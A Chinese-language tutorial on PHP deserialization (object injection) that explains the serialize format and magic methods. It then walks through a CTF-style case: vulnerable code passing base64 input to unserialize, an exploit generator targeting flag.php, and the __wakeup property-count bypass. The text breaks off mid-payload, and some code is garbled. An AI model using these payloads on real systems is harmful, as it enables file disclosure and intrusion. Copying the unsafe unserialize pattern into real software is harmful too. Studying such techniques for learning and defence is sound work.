反序列化漏洞
概述
反序列化又叫对象注入,序列化在内部没有漏洞,漏洞产生是应该程序在处理对象、魔术函数以及序列化相关的问题导致的 当传给 unserialize()的参数可控时,那么用户就可以注入 payload,进行反序列化的时候就可能触发对象中的一些魔术方法
序列化与反序列化
序列化 serialize
对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间,对象将当前的状态写入到临时或持久性的存储区,将状态信息保存为字符串
反序列化 unserialize
将序列化后的字符串还原成对象
序列化
<?php
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$c = new S();
echo serialize($c);
O:1:"S":1:{s:4:"test";s:7:"pikachu";}
代表依次的含义
O:代表 object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型(string)
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
序列化也会把变量的属性存储到字符串里

var 默认就是 public 属性,private 是x00 类名x00 变量名 在网页是不显示的
protected 0* 0 变量名在网页上也是显示不出来符号的。默认是空白
(大写 S)表示 protected 的字符串
<?php
class C1{
public $public = "public";
private $private="private";
Protected $Protected="Protected";
}
$c = new C1();
echo serialize($c);

网页上不会显示属性的空白符号的
<?php
class C1{
public $public = "public";
private $private="private";
Protected $Protected="Protected";
}
$c = new C1();
echo serialize($c);
file_put_contents(‘ser.txt’, serialize($c));
ultraedit
把序列化后的结果保存到 ser.txt 使用编辑器可以看到属性的空白符号用.代替
不同类型的字母
a – array
b – boolean
d – double
i – integer
o – common object
r – reference
s – string
C – custom object
O – class
N – null
R – pointer reference
U – unicode string
反序列化
反序列化的数据本质上来说是没有危害的,用户可控数据进行反序列化是存在危害的,反序列化的危害,关键还是在于可控或不可控
代码
<?php
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$c = new S();
echo serialize($c);
反序列化后,如果$test 可控 类在实例化的时,值会传入$this->test 因为是 echo 内容是直接输出会造成 xss 漏洞。
生成 payload 代码
<?php
class S{
var $test = "";
function __construct(){
echo $this->test;
}
}
$c = new S();
echo serialize($c);
序列化后的结果
O:1:"S":1:{s:4:"test";s:26:"";}
反序列化
<?php
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$c = new S();
$u=unserialize($_GET[‘url’]);
echo $u->test;

反序列化里的魔法函数
__construct() 当一个对象创建时被调用
__destruct() 当一个对象销毁前被调用
__sleep() 在对象被序列化前被调用
__wakeup 将在反序列化之后立即被调用
__toString 当一个对象被当做字符串使用时被调用
get(),set() 当调用或设置一个类及其父类方法中未定义的属性时
__invoke() 调用函数的方式调用一个对象时的回应方法
call 和 callStatic 前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行
魔术方法实例
<?php
class Str3am{
public $var1 = 'abc';
public $var2 = '123';
public function echoP(){
echo $this->var1.'<br>';
}
public function __construct(){
echo "__construct<br>";
}
public function __destruct(){
echo "__destruct<br>";
}
public function __toString(){
return "__toString<br>";
}
public function __sleep(){
echo "__sleep<br>";
// 注意返回带类中所有变量名称的数组
return array('var1', 'var2');
}
public function __wakeup(){
echo "__wakeup<br>";
}
}
// 创建对象,输出__construct
$obj = new Str3am();
// 调用 echoP 方法
$obj->echoP();
// 把类当做字符串输出,输出__toString
echo $obj;
// 序列化对象,输出__sleep
$s = serialize($obj);
// O:6:"Str3am":2:{s:4:"var1";s:3:"abc";s:4:"var2";s:3:"123";}
echo $s.'<br>';
// 反序列对象,输出__wakeup
unserialize($s);
// 脚本结束,对象被销毁,输出两个 __destruct,还有一个是 unserialize 恢复的对象
?>
反序列化漏洞案例测试
<?php
class SoFun {
protected $file='index.php';
function __destruct() {
if(!empty($this->file)) {
if(strchr($this-> file,"\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
}else{
die('Wrong filename.');
}
}
function __wakeup() {
$this-> file='index.php';
}
public function __toString() {
return '' ;
}
}
if (!isset($_GET['file'])) {
show_source('index.php');
} else {
$file=base64_decode( $_GET['file']);
echo unserialize($file );
}
?>
代码 的目的是 要读取同 目录下 的 flag.php。需 要再反序 列化的时 读取 flag.php 把内 容显示出 来,show_source 能够读取源码的内容,所以要利用这个 show_source(dirname (FILE).’/’.$this ->file);
这段代码读取 flag.php
经过 unserialize 反序列化的代码首先会 触发wakeup 函数,所以首先要绕过wakeup 函数,在上述的内容里面__wakeup 的个数大于实际个数会进行绕过
__destruct 当一个对象在销毁前调用,所以在最后结束是调用这个函数
f(strchr($this-> file,"")===false && strchr($this->file, ‘/’)===false) 传的字符串如果不存在 或者/ 的字符时,执行 show_source(dirname (FILE).’/’.$this ->file); 显示源代码
生成序列化 EXP
<?php
class SoFun {
protected $file='flag.php';
function __destruct() {
if(!empty($this->file)) {
if(strchr($this-> file,"\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
}else{
die('Wrong filename.');
}
}
}
$C1= new SoFun();
$data=serialize($C1);
echo $data;
echo base64_encode($data);
?>


绕__wakeup 函数 把 1 改成 2 个数大于实际个数
<?php
$data=’O:5:"SoFun":2:{S:7:"